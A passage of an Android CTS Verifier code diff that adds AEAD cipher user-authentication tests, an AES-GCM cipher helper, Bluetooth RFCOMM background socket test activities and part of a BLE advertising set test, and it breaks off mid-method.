+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type AUTH_BIOMETRIC_STRONG.
+ */
+public class UserAuthenticationBiometricAeadCipherTest
+        extends AbstractUserAuthenticationAeadCipherTest {
+
+    private static final String TAG = UserAuthenticationBiometricAeadCipherTest.class
+                                        .getSimpleName();
+
+    @Override
+    String getTag() {
+        return TAG;
+    }
+
+    @Override
+    int getInstructionsResourceId() {
+        return R.string.biometric_test_set_user_authentication_biometric_instructions;
+    }
+
+    @Override
+    ExpectedResults getExpectedResults() {
+        return new ExpectedResults() {
+            @Override
+            boolean shouldCredentialUnlockPerUseKey() {
+                return false;
+            }
+
+            @Override
+            boolean shouldCredentialUnlockTimedKey() {
+                return false;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockTimedKey() {
+                return true;
+            }
+        };
+    }
+
+    @Override
+    int getKeyAuthenticators() {
+        return KeyProperties.AUTH_BIOMETRIC_STRONG;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java
new file mode 100644
index 0000000..6c0d735
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationBiometricOrCredentialAeadCipherTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type
+ * AUTH_DEVICE_CREDENTIAL | AUTH_BIOMETRIC_STRONG.
+ */
+public class UserAuthenticationBiometricOrCredentialAeadCipherTest
+        extends AbstractUserAuthenticationAeadCipherTest {
+
+    private static final String TAG = UserAuthenticationBiometricOrCredentialAeadCipherTest.class
+                                            .getSimpleName();
+
+    @Override
+    String getTag() {
+        return TAG;
+    }
+
+    @Override
+    int getInstructionsResourceId() {
+        return R.string.biometric_test_set_user_authentication_biometric_or_credential_instructions;
+    }
+
+    @Override
+    ExpectedResults getExpectedResults() {
+        return new ExpectedResults() {
+            @Override
+            boolean shouldCredentialUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldCredentialUnlockTimedKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockTimedKey() {
+                return true;
+            }
+        };
+    }
+
+    @Override
+    int getKeyAuthenticators() {
+        return KeyProperties.AUTH_DEVICE_CREDENTIAL | KeyProperties.AUTH_BIOMETRIC_STRONG;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java
new file mode 100644
index 0000000..27925d2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/UserAuthenticationCredentialAeadCipherTest.java
@@ -0,0 +1,71 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.biometrics;
+
+import android.security.keystore.KeyProperties;
+
+import com.android.cts.verifier.R;
+
+/**
+ * This is a test to validate update AAD data for AEAD cipher with auth type AUTH_DEVICE_CREDENTIAL.
+ */
+public class UserAuthenticationCredentialAeadCipherTest
+        extends AbstractUserAuthenticationAeadCipherTest {
+
+    private static final String TAG = UserAuthenticationCredentialAeadCipherTest.class
+                                        .getSimpleName();
+
+    @Override
+    String getTag() {
+        return TAG;
+    }
+
+    @Override
+    int getInstructionsResourceId() {
+        return R.string.biometric_test_set_user_authentication_credential_instructions;
+    }
+
+    @Override
+    ExpectedResults getExpectedResults() {
+        return new ExpectedResults() {
+            @Override
+            boolean shouldCredentialUnlockPerUseKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldCredentialUnlockTimedKey() {
+                return true;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockPerUseKey() {
+                return false;
+            }
+
+            @Override
+            boolean shouldBiometricUnlockTimedKey() {
+                return false;
+            }
+        };
+    }
+
+    @Override
+    int getKeyAuthenticators() {
+        return KeyProperties.AUTH_DEVICE_CREDENTIAL;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
index e5cd1f3..54b8ca8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/Utils.java
@@ -19,11 +19,8 @@
 import android.app.AlertDialog;
 import android.content.Context;
 import android.content.DialogInterface;
-import android.content.res.Resources;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
-import android.util.Log;
-import android.widget.Toast;
 
 import java.security.KeyStore;
 import java.security.PrivateKey;
@@ -88,6 +85,18 @@
         return cipher;
     }
 
+    static Cipher initAeadCipher(String keyName) throws Exception {
+        KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+        keyStore.load(null);
+        SecretKey secretKey = (SecretKey) keyStore.getKey(keyName, null);
+
+        Cipher cipher = Cipher.getInstance(KeyProperties.KEY_ALGORITHM_AES + "/"
+                + KeyProperties.BLOCK_MODE_GCM + "/"
+                + KeyProperties.ENCRYPTION_PADDING_NONE);
+        cipher.init(Cipher.ENCRYPT_MODE, secretKey);
+        return cipher;
+    }
+
     static Signature initSignature(String keyName) throws Exception {
         KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
         keyStore.load(null);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BackgroundRfcommTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BackgroundRfcommTestActivity.java
new file mode 100644
index 0000000..bf1a12c
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BackgroundRfcommTestActivity.java
@@ -0,0 +1,157 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.PendingIntent;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothSocket;
+import android.bluetooth.BluetoothStatusCodes;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.charset.StandardCharsets;
+import java.util.UUID;
+
+/**
+ * Activity for verifying the handoff of RFCOMM sockets from the bluetooth manager to the app
+ * holding the car projection role. This test expects a second device to run the {@link
+ * BackgroundRfcommTestClientActivity}.
+ */
+public class BackgroundRfcommTestActivity extends PassFailButtons.Activity {
+    private static final String TAG = "BT.CarProjectionTest";
+    private static final String ACTION = "BT_BACKGROUND_RFCOMM_TEST_ACTION";
+
+    private BluetoothAdapter mBluetoothAdapter;
+    private UUID mUuid;
+    private String mTestMessage;
+    private BroadcastReceiver mReceiver;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.bt_background_rfcomm);
+        getPassButton().setEnabled(false);
+
+        BluetoothManager bluetoothManager = getSystemService(BluetoothManager.class);
+        mBluetoothAdapter = bluetoothManager.getAdapter();
+        mUuid = UUID.fromString(getString(R.string.bt_background_rfcomm_test_uuid));
+        mTestMessage = getString(R.string.bt_background_rfcomm_test_message);
+        mReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                writeAndReadRfcommData();
+            }
+        };
+
+        IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(ACTION);
+
+        registerReceiver(mReceiver, intentFilter);
+
+        Intent intent = new Intent(ACTION);
+        intent.putExtra(BluetoothAdapter.EXTRA_RFCOMM_LISTENER_ID, mUuid.toString());
+
+        PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(this, 0, intent, PendingIntent.FLAG_IMMUTABLE);
+
+        mBluetoothAdapter.stopRfcommServer(mUuid);
+
+        if (mBluetoothAdapter.startRfcommServer("TestBackgroundRfcomm", mUuid, pendingIntent)
+                != BluetoothStatusCodes.SUCCESS) {
+            Log.e(TAG, "Failed to start RFCOMM listener");
+            setTestResultAndFinish(false);
+        }
+    }
+
+    @Override
+    protected void onDestroy() {
+        mBluetoothAdapter.stopRfcommServer(mUuid);
+        if (mReceiver != null) {
+            unregisterReceiver(mReceiver);
+            mReceiver = null;
+        }
+        super.onDestroy();
+    }
+
+    private void writeAndReadRfcommData() {
+        BluetoothSocket bluetoothSocket = mBluetoothAdapter.retrieveConnectedRfcommSocket(mUuid);
+
+        if (bluetoothSocket == null) {
+            Log.e(TAG, "Failed to retrieve incoming RFCOMM socket connection");
+            setTestResultAndFinish(false);
+            return;
+        }
+
+        updateInstructions(R.string.bt_background_rfcomm_test_socket_received);
+
+        try {
+            updateInstructions(R.string.bt_background_rfcomm_test_sending_message);
+            bluetoothSocket.getOutputStream().write(mTestMessage.getBytes(StandardCharsets.UTF_8));
+        } catch (IOException e) {
+            Log.e(TAG, "Failed to write test message to RFCOMM socket", e);
+            setTestResultAndFinish(false);
+            return;
+        }
+
+        int offset = 0;
+        int length = mTestMessage.length();
+        ByteBuffer buf = ByteBuffer.allocate(length);
+
+        try {
+            updateInstructions(R.string.bt_background_rfcomm_test_waiting_for_message);
+            while (length > 0) {
+                int numRead = bluetoothSocket.getInputStream().read(buf.array(), offset, length);
+                if (numRead == -1) {
+                    break;
+                }
+
+                offset += numRead;
+                length -= numRead;
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "RFCOMM read failed", e);
+            setTestResultAndFinish(false);
+            return;
+        }
+
+        String receivedMessage = new String(buf.array());
+
+        if (receivedMessage.equals(mTestMessage)) {
+            setTestResultAndFinish(true);
+        } else {
+            Log.e(TAG, "Incorrect RFCOMM message received from client");
+            setTestResultAndFinish(false);
+        }
+    }
+
+
+    private void updateInstructions(int id) {
+        TextView textView = findViewById(R.id.bt_background_rfcomm_text);
+        textView.setText(id);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BackgroundRfcommTestClientActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BackgroundRfcommTestClientActivity.java
new file mode 100644
index 0000000..c957355
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BackgroundRfcommTestClientActivity.java
@@ -0,0 +1,184 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import static android.bluetooth.BluetoothDevice.ACTION_UUID;
+import static android.bluetooth.BluetoothDevice.EXTRA_UUID;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.BluetoothSocket;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.ParcelUuid;
+import android.os.Parcelable;
+import android.util.Log;
+import android.widget.TextView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.nio.charset.StandardCharsets;
+import java.util.List;
+import java.util.UUID;
+
+/**
+ * Activity which connects to an RFCOMM server which is advertising a sample UUID which is known for
+ * car projection. This test should be run in conjunction with another device which is bonded to
+ * this one and is running the {@link BackgroundRfcommTestActivity}.
+ */
+public class BackgroundRfcommTestClientActivity extends PassFailButtons.Activity {
+    private static final String TAG = "BT.CarProjectionClient";
+
+    private BluetoothAdapter mBluetoothAdapter;
+    private BluetoothSocket mBluetoothSocket;
+    private BroadcastReceiver mSdpReceiver;
+    private String mTestMessage;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.bt_background_rfcomm_client);
+        getPassButton().setEnabled(false);
+
+        mBluetoothAdapter = getSystemService(BluetoothManager.class).getAdapter();
+        mTestMessage = getString(R.string.bt_background_rfcomm_test_message);
+
+        UUID uuid = UUID.fromString(getString(R.string.bt_background_rfcomm_test_uuid));
+        List<BluetoothDevice> connectedDevices =
+                mBluetoothAdapter.getMostRecentlyConnectedDevices();
+
+        if (connectedDevices.isEmpty()) {
+            Log.e(TAG, "No bluetooth devices connected");
+            setTestResultAndFinish(false);
+            return;
+        }
+
+        BluetoothDevice connectedDevice = connectedDevices.get(0);
+
+        mSdpReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                if (intent.hasExtra(EXTRA_UUID)) {
+                    Parcelable[] uuids = intent.getParcelableArrayExtra(EXTRA_UUID);
+
+                    for (Parcelable parcelUuid : uuids) {
+                        if (((ParcelUuid) parcelUuid).getUuid().equals(uuid)) {
+                            try {
+                                updateInstructions(
+                                        R.string.bt_background_rfcomm_test_connecting_to_server);
+                                mBluetoothSocket =
+                                        connectedDevice.createRfcommSocketToServiceRecord(uuid);
+                            } catch (IOException e) {
+                                Log.e(TAG, "Failed to create RFCOMM socket connection", e);
+                            }
+
+                            readAndWriteRfcommData();
+                            return;
+                        }
+                    }
+                }
+
+                Log.e(TAG, "Expected UUID not found for device.");
+                setTestResultAndFinish(false);
+            }
+        };
+
+        IntentFilter intentFilter = new IntentFilter();
+        intentFilter.addAction(ACTION_UUID);
+
+        registerReceiver(mSdpReceiver, intentFilter);
+
+        updateInstructions(R.string.bt_background_rfcomm_test_doing_sdp);
+        connectedDevice.fetchUuidsWithSdp();
+    }
+
+    @Override
+    protected void onDestroy() {
+        if (mSdpReceiver != null) {
+            unregisterReceiver(mSdpReceiver);
+        }
+
+        if (mBluetoothSocket != null && mBluetoothSocket.isConnected()) {
+            try {
+                mBluetoothSocket.close();
+            } catch (IOException e) {
+                Log.e(TAG, "Failed to close RFCOMM socket connection", e);
+            }
+        }
+        super.onDestroy();
+    }
+
+    private void readAndWriteRfcommData() {
+        if (mBluetoothSocket == null) {
+            setTestResultAndFinish(false);
+            return;
+        }
+
+        int offset = 0;
+        int length = mTestMessage.length();
+        ByteBuffer buf = ByteBuffer.allocate(length);
+
+        try {
+            updateInstructions(R.string.bt_background_rfcomm_test_waiting_for_message);
+            mBluetoothSocket.connect();
+            while (length > 0) {
+                int numRead = mBluetoothSocket.getInputStream().read(buf.array(), offset, length);
+                if (numRead == -1) {
+                    break;
+                }
+
+                offset += numRead;
+                length -= numRead;
+            }
+        } catch (IOException e) {
+            Log.e(TAG, "RFCOMM read failed", e);
+            setTestResultAndFinish(false);
+            return;
+        }
+
+        String receivedMessage = new String(buf.array());
+
+        boolean success = receivedMessage.equals(mTestMessage);
+
+        if (success) {
+            try {
+                updateInstructions(R.string.bt_background_rfcomm_test_sending_message);
+                mBluetoothSocket.getOutputStream().write(
+                        mTestMessage.getBytes(StandardCharsets.UTF_8));
+            } catch (IOException e) {
+                success = false;
+                Log.e(TAG, "RFCOMM write failed", e);
+            }
+        } else {
+            Log.e(TAG, "Incorrect RFCOMM message received from server");
+        }
+
+        setTestResultAndFinish(success);
+    }
+
+    private void updateInstructions(int id) {
+        TextView textView = findViewById(R.id.bt_background_rfcomm_client_text);
+        textView.setText(id);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
new file mode 100644
index 0000000..164992b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleAdvertisingSetTestActivity.java
@@ -0,0 +1,459 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import static android.bluetooth.le.AdvertisingSetCallback.ADVERTISE_SUCCESS;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.bluetooth.le.AdvertiseData;
+import android.bluetooth.le.AdvertisingSet;
+import android.bluetooth.le.AdvertisingSetCallback;
+import android.bluetooth.le.AdvertisingSetParameters;
+import android.bluetooth.le.BluetoothLeAdvertiser;
+import android.bluetooth.le.PeriodicAdvertisingParameters;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.util.Log;
+import android.view.View;
+import android.widget.Button;
+import android.widget.ListView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests {@link AdvertisingSet} and {@link AdvertisingSetCallback}.
+ */
+public class BleAdvertisingSetTestActivity extends PassFailButtons.Activity {
+
+    private static final String TAG = "BleAdvertisingSetTestActivity";
+    private static final int TIMEOUT_MS = 5000;
+
+    private static final int PASS_FLAG_START = 0x1;
+    private static final int PASS_FLAG_ENABLE_DISABLE = 0x2;
+    private static final int PASS_FLAG_SET_ADVERTISING_DATA = 0x4;
+    private static final int PASS_FLAG_SET_ADVERTISING_PARAMS = 0x8;
+    private static final int PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA = 0x10;
+    private static final int PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED = 0x20;
+    private static final int PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS = 0x40;
+    private static final int PASS_FLAG_SET_SCAN_RESPONSE_DATA = 0x80;
+    private static final int PASS_FLAG_STOP = 0x100;
+    private static final int PASS_FLAG_ALL = 0x1FF;
+
+    private static final int TEST_ADAPTER_INDEX_START = 0;
+    private static final int TEST_ADAPTER_INDEX_ENABLE_DISABLE = 1;
+    private static final int TEST_ADAPTER_INDEX_SET_ADVERTISING_DATA = 2;
+    private static final int TEST_ADAPTER_INDEX_SET_ADVERTISING_PARAMS = 3;
+    private static final int TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA = 4;
+    private static final int TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED = 5;
+    private static final int TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS = 6;
+    private static final int TEST_ADAPTER_INDEX_SET_SCAN_RESPONSE_DATA = 7;
+    private static final int TEST_ADAPTER_INDEX_STOP = 8;
+
+    private static final AdvertisingSetParameters ADVERTISING_SET_PARAMETERS =
+            new AdvertisingSetParameters.Builder().setLegacyMode(true).build();
+
+    private BluetoothManager mBluetoothManager;
+    private BluetoothAdapter mBluetoothAdapter;
+    private BluetoothLeAdvertiser mAdvertiser;
+    private TestAdvertisingSetCallback mCallback;
+
+    private TestAdapter mTestAdapter;
+    private Button mStartTestButton;
+
+    private long mAllTestsPassed;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_advertising_set);
+        setPassFailButtonClickListeners();
+        setInfoResources(R.string.ble_advertising_set_test_name,
+                R.string.ble_advertising_set_test_info, -1);
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = findViewById(R.id.ble_advertising_set_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mStartTestButton = findViewById(R.id.ble_advertising_set_start_test);
+        mStartTestButton.setOnClickListener(new View.OnClickListener() {
+            @Override
+            public void onClick(View v) {
+                mStartTestButton.setEnabled(false);
+                mStartTestButton.setText(R.string.ble_advertising_set_running_test);
+
+                HandlerThread testHandlerThread = new HandlerThread("TestHandlerThread");
+                testHandlerThread.start();
+                Handler handler = new Handler(testHandlerThread.getLooper());
+                handler.post(new Runnable() {
+                    @Override
+                    public void run() {
+                        if (!mBluetoothAdapter.isEnabled()) {
+                            // If BluetoothAdapter was previously not enabled, we need to get the
+                            // BluetoothLeAdvertiser instance again.
+                            mBluetoothAdapter.enable();
+                            mAdvertiser = mBluetoothAdapter.getBluetoothLeAdvertiser();
+                        }
+
+                        try {
+                            startAdvertisingSet();
+                            testEnableAndDisableAdvertising();
+                            testSetAdvertisingData();
+                            testSetAdvertisingParameters();
+                            testPeriodicAdvertising();
+                            testSetScanResponseData();
+                            stopAdvertisingSet();
+                        } catch (InterruptedException e) {
+                            Log.e(TAG, "Interrupted while running tests", e);
+                        } catch (AssertionError e) {
+                            Log.e(TAG, "Test failed", e);
+                        }
+
+                        // Disable bluetooth adapter
+                        mBluetoothAdapter.disable();
+
+                        BleAdvertisingSetTestActivity.this.runOnUiThread(new Runnable() {
+                            @Override
+                            public void run() {
+                                mStartTestButton.setText(
+                                        R.string.ble_advertising_set_finished_test);
+
+                                // Update test list to reflect whether the tests passed or not.
+                                mTestAdapter.notifyDataSetChanged();
+
+                                if (mAllTestsPassed == PASS_FLAG_ALL) {
+                                    getPassButton().setEnabled(true);
+                                }
+                            }
+                        });
+                    }
+                });
+            }
+        });
+
+        mAllTestsPassed = 0;
+
+        mBluetoothManager = getSystemService(BluetoothManager.class);
+        mBluetoothAdapter = mBluetoothManager.getAdapter();
+        mAdvertiser = mBluetoothAdapter.getBluetoothLeAdvertiser();
+        mCallback = new TestAdvertisingSetCallback();
+    }
+
+    private void startAdvertisingSet() throws InterruptedException {
+        mAdvertiser.startAdvertisingSet(ADVERTISING_SET_PARAMETERS,
+                /* advertiseData= */ null, /* scanResponse= */ null,
+                /* periodicParameters= */ null, /* periodicData= */ null,
+                mCallback);
+        assertTrue(mCallback.mAdvertisingSetStartedLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingSetStartedStatus.get());
+        assertNotNull(mCallback.mAdvertisingSet);
+
+        mAllTestsPassed |= PASS_FLAG_START;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_START);
+    }
+
+    private void testEnableAndDisableAdvertising() throws InterruptedException {
+        mCallback.reset();
+
+        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ true, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
+        assertTrue(mCallback.mAdvertisingEnabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingEnabledStatus.get());
+
+        mCallback.mAdvertisingSet.get().enableAdvertising(/* enable= */ false, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
+        assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
+
+
+        mAllTestsPassed |= PASS_FLAG_ENABLE_DISABLE;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_ENABLE_DISABLE);
+    }
+
+    private void testSetAdvertisingData() throws InterruptedException {
+        mCallback.reset();
+
+        mCallback.mAdvertisingSet.get().setAdvertisingData(new AdvertiseData.Builder().build());
+        assertTrue(mCallback.mAdvertisingDataSetLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDataSetStatus.get());
+
+        mAllTestsPassed |= PASS_FLAG_SET_ADVERTISING_DATA;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_ADVERTISING_DATA);
+    }
+
+    private void testSetScanResponseData() throws InterruptedException {
+        mCallback.reset();
+
+        mCallback.mAdvertisingSet.get().setScanResponseData(new AdvertiseData.Builder().build());
+        assertTrue(mCallback.mScanResponseDataSetLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mScanResponseDataSetStatus.get());
+
+        mAllTestsPassed |= PASS_FLAG_SET_SCAN_RESPONSE_DATA;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_SCAN_RESPONSE_DATA);
+    }
+
+    private void testSetAdvertisingParameters() throws InterruptedException {
+        mCallback.reset();
+
+        mCallback.mAdvertisingSet.get().enableAdvertising(false, /* duration= */ 0,
+                /* maxExtendedAdvertisingEvents= */ 0);
+        assertTrue(mCallback.mAdvertisingDisabledLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingDisabledStatus.get());
+
+        mCallback.mAdvertisingSet.get().setAdvertisingParameters(
+                new AdvertisingSetParameters.Builder()
+                        .setLegacyMode(true)
+                        .setScannable(false)
+                        .build());
+        assertTrue(mCallback.mAdvertisingParametersUpdatedLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingParametersUpdatedStatus.get());
+
+        mAllTestsPassed |= PASS_FLAG_SET_ADVERTISING_PARAMS;
+        mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_ADVERTISING_PARAMS);
+    }
+
+    // The following order of commands follows the diagram of Bluetooth Core Specification,
+    // Version 5.3, Vol 6, Part D, Figure 3.7: Periodic advertising.
+    private void testPeriodicAdvertising() throws InterruptedException {
+        if (!mBluetoothAdapter.isLePeriodicAdvertisingSupported()) {
+            mAllTestsPassed |= PASS_FLAG_SET_PERIODIC_ADVERTISING_PARAMS
+                    | PASS_FLAG_SET_PERIODIC_ADVERTISING_DATA
+                    | PASS_FLAG_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED;
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_PARAMS);
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_DATA);
+            mTestAdapter.setTestPass(TEST_ADAPTER_INDEX_SET_PERIODIC_ADVERTISING_ENABLED_DISABLED);
+            return;
+        }
+
+        mCallback.reset();
+
+        mCallback.mAdvertisingSet.get().setAdvertisingParameters(
+                new AdvertisingSetParameters.Builder().build());
+
+        assertTrue(mCallback.mAdvertisingParametersUpdatedLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mAdvertisingParametersUpdatedStatus.get());
+
+        mCallback.mAdvertisingSet.get().setPeriodicAdvertisingParameters(
+                new PeriodicAdvertisingParameters.Builder().build());
+        assertTrue(mCallback.mPeriodicAdvertisingParamsUpdatedLatch.await(TIMEOUT_MS,
+                TimeUnit.MILLISECONDS));
+        assertEquals(ADVERTISE_SUCCESS, mCallback.mPeriodicAdvertisingParamsUpdatedStatus.get());
+
